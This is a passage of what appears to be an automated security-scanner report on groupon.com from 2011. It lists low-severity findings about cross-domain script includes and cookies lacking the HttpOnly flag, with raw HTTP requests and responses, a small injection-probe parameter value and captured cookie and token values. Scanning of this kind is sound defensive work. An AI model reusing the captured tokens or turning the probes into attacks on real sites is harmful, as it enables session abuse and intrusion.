User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/dallas/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; adchemy_id=; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; division=dallas; visited=visit_1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "2de53705a5f98264ad0012381ac73181"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 34645
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:23:54 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:23:53 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:23:53 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:23:54 GMT; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www
...[SNIP]...
</script>
<script src="http://www.googleadservices.com/pagead/conversion.js" type="text/javascript"></script>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/subscriptions-2QPfGWvY.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/jquery.sha256-MHjUM5vi.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/attribute_reader-RS-sBH34.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/cookie-u7JZhWJm.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/multi_steps-VSmQu2ed.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/tracker-mcweZa7X.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/tracker-Uruib0RV.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/alerts-IrgXe2LC.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/disable_on_submit--rDwJEm-.js" type="text/javascript"></script>
...[SNIP]...

4.5. http://www.groupon.com/users/forgot_password  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/forgot_password

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /users/forgot_password HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.4.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "0274e2289e46a1acd231c3fc123f5e94"
X-Runtime: 107
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:36 GMT
Content-Length: 45848
Connection: close
Vary: Accept-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:36 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:36 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:36 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...
</script>

<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/application-Uz6CIo4C.js" type="text/javascript"></script>
...[SNIP]...
<![endif]-->

<script src="http://assets2.grouponcdn.com/static/assets/facebook-j6mfPDsw.js" type="text/javascript"></script>
...[SNIP]...

4.6. http://www.groupon.com/users/send_password_reset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/send_password_reset

Issue detail

The response dynamically includes the following scripts from other domains:

Request

POST /users/send_password_reset HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Content-Length: 135
Cache-Control: max-age=0
Origin: http://www.groupon.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/users/forgot_password
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.5.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1

_method=put&authenticity_token=r2iQsHl53k5eJtt0xVAKxMaR4xKHLWCXQbUvmb36F48%3D&user%5Bemail_address%5D=test%40fastdial.net&commit=Submit

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "0bed63224530cb0de574d73fd1d22a54"
X-Runtime: 147
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:45 GMT
Content-Length: 46579
Connection: close
Vary: Accept-Encoding
Set-Cookie: scid=email_addresstest%40fastdial.net; path=/; expires=Tue, 19-Oct-2021 23:24:45 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:45 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:45 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:45 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...
</script>

<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/application-Uz6CIo4C.js" type="text/javascript"></script>
...[SNIP]...
<![endif]-->

<script src="http://assets2.grouponcdn.com/static/assets/facebook-j6mfPDsw.js" type="text/javascript"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next
There are 7 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. http://www.groupon.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1316999742.1; __utmz=44473723.1316999742.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 302
Location: http://www.groupon.com/dallas/
X-Runtime: 50
Content-Length: 96
X-UA-Compatible: chrome=IE8
Vary: Accept-Encoding
Expires: Wed, 19 Oct 2011 23:22:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 19 Oct 2011 23:22:11 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:22:11 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:22:11 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:22:11 GMT; HttpOnly

<html><body>You are being <a href="http://www.groupon.com/dallas/">redirected</a>.</body></html>

5.2. http://www.groupon.com/learn  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /learn

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /learn HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.3.8.1319066592; __utmc=44473723

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "29c76ca3a57d1ac37c0b665a807e8f07"
X-Runtime: 128
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 121932
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:25:37 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:25:37 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:25:37 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:25:37 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...

5.3. http://www.groupon.com/personalize  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /personalize

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /personalize?aaaa=bbbb%22%3Ess&ccc=dddd&11111=22222&fer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.groupon.com/dallas/
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1316999742.1; __utmz=44473723.1316999742.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/json; charset=utf-8
Status: 200
ETag: "eac2c7be6b093b8e0484ea20b050f881"
X-Runtime: 64
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 191
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:22:19 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:22:18 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:22:18 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:22:18 GMT; HttpOnly

{"personas_enabled":true,"places_enabled":true,"flash":{},"subscribed_to_current_division":false,"is_authenticated":false,"subscribed_to_current_channel":false,"marketing_drive_message":null}

5.4. http://www.groupon.com/personalize/all_deals  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /personalize/all_deals

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /personalize/all_deals?aaaa=bbbb%22%3Ess&ccc=dddd&11111=22222&fer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.groupon.com/dallas/all
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=b113756c-faa9-11e0-91b9-00505692776c; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=b1137cd8-faa9-11e0-91b9-00505692776c; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.4.8.1319066592; __utmc=44473723; _tpref=cdn

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: application/json; charset=utf-8
Status: 200
ETag: "a3c47bb32d6f9bd49af271d10a993833"
X-Runtime: 389
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:26:01 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:26:01 GMT
Set-Cookie: b=b113756c-faa9-11e0-91b9-00505692776c; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:26:01 GMT
Set-Cookie: s=b1137cd8-faa9-11e0-91b9-00505692776c; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:26:01 GMT; HttpOnly
Content-Length: 221159

{"location_search":null,"personas_enabled":true,"places_enabled":true,"flash":{},"subscribed_to_current_division":false,"is_authenticated":false,"subscribed_to_current_channel":false,"deals":[{"deal_m
...[SNIP]...

5.5. http://www.groupon.com/subscriptions/new  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /subscriptions/new

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /subscriptions/new?division_p=dallas HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/dallas/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; adchemy_id=; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; division=dallas; visited=visit_1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "2de53705a5f98264ad0012381ac73181"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 34645
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:23:54 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:23:53 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:23:53 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:23:54 GMT; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www
...[SNIP]...

5.6. http://www.groupon.com/users/forgot_password  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/forgot_password

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /users/forgot_password HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.4.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "0274e2289e46a1acd231c3fc123f5e94"
X-Runtime: 107
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:36 GMT
Content-Length: 45848
Connection: close
Vary: Accept-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:36 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:36 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:36 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...

5.7. http://www.groupon.com/users/send_password_reset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /users/send_password_reset

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /users/send_password_reset HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Content-Length: 135
Cache-Control: max-age=0
Origin: http://www.groupon.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/users/forgot_password
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; visited=visit_2; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.5.9.1319066695952; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1

_method=put&authenticity_token=r2iQsHl53k5eJtt0xVAKxMaR4xKHLWCXQbUvmb36F48%3D&user%5Bemail_address%5D=test%40fastdial.net&commit=Submit

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "0bed63224530cb0de574d73fd1d22a54"
X-Runtime: 147
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
